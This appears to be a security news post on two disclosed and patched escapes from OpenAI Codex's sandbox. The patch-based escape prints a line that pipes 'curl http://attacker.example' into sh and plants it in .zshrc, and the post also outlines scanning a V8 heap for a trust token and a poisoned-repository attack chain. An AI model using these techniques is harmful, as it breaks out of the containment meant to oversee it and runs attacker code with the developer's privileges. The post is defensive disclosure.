Heapjack and Overpatch: Two Codex Sandbox Escapes

Heapjack and Overpatch: Two Codex Sandbox Escapes

OpenAI's Codex is meant to confine the model's actions to a sandbox so untrusted code cannot touch the wider machine. This week, security researchers from Accomplish AI published two ways out of that sandbox — one of them obtaining unsandboxed command execution on a developer's machine from read-only mode, Codex's most locked-down setting, with no approval prompt and nothing shown on screen. Both were reported to OpenAI on August 12, 2026 and fixed within eight days.

The two bugs — Heapjack and Overpatch — sit in completely different places, but they are the same mistake twice: the sandbox was told, from the inside, to let something through.

Overpatch: one extra line in a patch = the whole disk

apply_patch is the tool Codex gives the agent for editing files. In workspace-write mode the agent is allowed to write only inside the project folder — a shell command aimed at $HOME is refused. The researchers found that apply_patch derives its own permission from attacker-supplied input: it grants write access to the parent folder of each path named in the patch. Name /tmp in a patch, and the tool grants itself write access to / — the root of the disk.

The working exploit uses a patch with two changes:

*** Update File: /tmp/placeholder           ← (entry that widens the grant)
   +placeholder text
*** Update File: /home/me/.zshrc             ← (the real payload, via symlink)
   +curl http://attacker.example | sh

The first change fails — you cannot write a file over a directory — but it silently widens apply_patch's write permission to the entire disk. The second change then appends a line to .zshrc through a symlink into the home directory. Remove the first change and the write is refused. With it, the next terminal the developer opens runs the attacker's line unsandboxed.

Heapjack: the secret sitting in the heap

Heapjack targets node_repl, a tool Codex Desktop writes into the global ~/.codex/config.toml at install time as an [mcp_servers.node_repl] block. There is no opt-in and no setting to turn it off — and because the entry lives in the shared config, plain Codex CLI users inherit it without ever being asked.

The tool is a native Rust program running unsandboxed: it opens applications, connects to Unix sockets, edits the config file. It starts a Node process through the Codex sandbox, so all JavaScript executes sandboxed. Inside that one Node process live two V8 vm contexts that share a single heap: a trusted one holding OpenAI's own code, and an untrusted one running the agent's code. The trusted context proves its identity with a random token, generated fresh on every run.

The problem is that both contexts occupy one heap, so the token is just a string the untrusted side can read. The probe writes its own mini-scanner:

const snapshot = v8.getHeapSnapshot();
// walk every string shaped like a UUID and ask for a free (id)
// wrong token -> "not authorized"
// right token + bad argument -> a real validation error (the tell)

With the token in hand, the untrusted code writes a request onto the same pipe the trusted context uses to talk to the native parent process. The parent checks the token, sees a valid one, and does the work. The proof of concept used the system open command so launchd started an application entirely outside Codex's process tree. The same token would also connect to any Unix socket — a Docker daemon socket is the obvious target — and exposes a tool for editing ~/.codex/config.toml itself.

All of it ran at read-only, where the agent supposedly cannot write anything. Codex never asked to approve anything.

Why it matters more than a lab trick

The practical kill chain requires nothing exotic: open a cloned repository in Codex in read-only mode, ask a question about the code, and whoever wrote that repository gets unsandboxed command execution on your machine — with the same access they would have if you had turned the sandbox off and run their script by hand. A poisoned repo is no longer a prompt-injection nuisance; it is remote code execution with your privileges through the AI agent tooling you chose to trust.

This is the second sandbox-escape wave for coding agents in a few months. In July 2026, Pillar Security demonstrated the same broad idea across Cursor, Codex, Gemini CLI and Antigravity — an agent staying inside its sandbox writes a file that a trusted tool outside the sandbox later runs. Codex's own history includes CVE-2025-59532, a path-configuration bug fixed in CLI 0.39.0 where a model-chosen cwd was treated as the sandbox's writable root. The pattern across all of them: sandbox boundaries leak wherever an unsandboxed helper accepts influence from sandboxed input.

What to do

Per Accomplish, OpenAI fixed Heapjack in Codex Desktop build 26.818.21641 and Overpatch in Codex CLI 0.149.0. Update to those versions or later. If you pair Codex with other agents on the same machine, treat the whole set as one trust domain — a sandbox escape in any of them is a sandbox escape for all of them. And remember the site-wide lesson, unchanged by this news: the sandbox is a convenience for safe defaults, not a guarantee, so the agent's filesystem and network reach are still the security boundary you should actually engineer — review what a repo can make your agent do before you open it in an agent at all.

This week's Plugin4Shell disclosure is the same story one layer down: agents installing plugins and checking out pinned code without verifying what landed. Between the two, the message for 2026 is consistent — the agent ecosystem's security promises keep resolving to "untrusted input ran as you." Plan accordingly.

Sources

• Accomplish AI (Oren Yomtov): Escaping the OpenAI Codex sandbox, twice
• BleepingComputer: Researchers escape OpenAI Codex sandbox to run commands on host
• OpenAI: Sandbox — Codex (OpenAI Developers)
• OpenAI via GitHub Advisory: Sandbox bypass due to bug in path configuration logic (GHSA-w5fx-fh39-j5rw)
• BleepingComputer: Cursor, Codex, Gemini CLI, Antigravity hit by sandbox escapes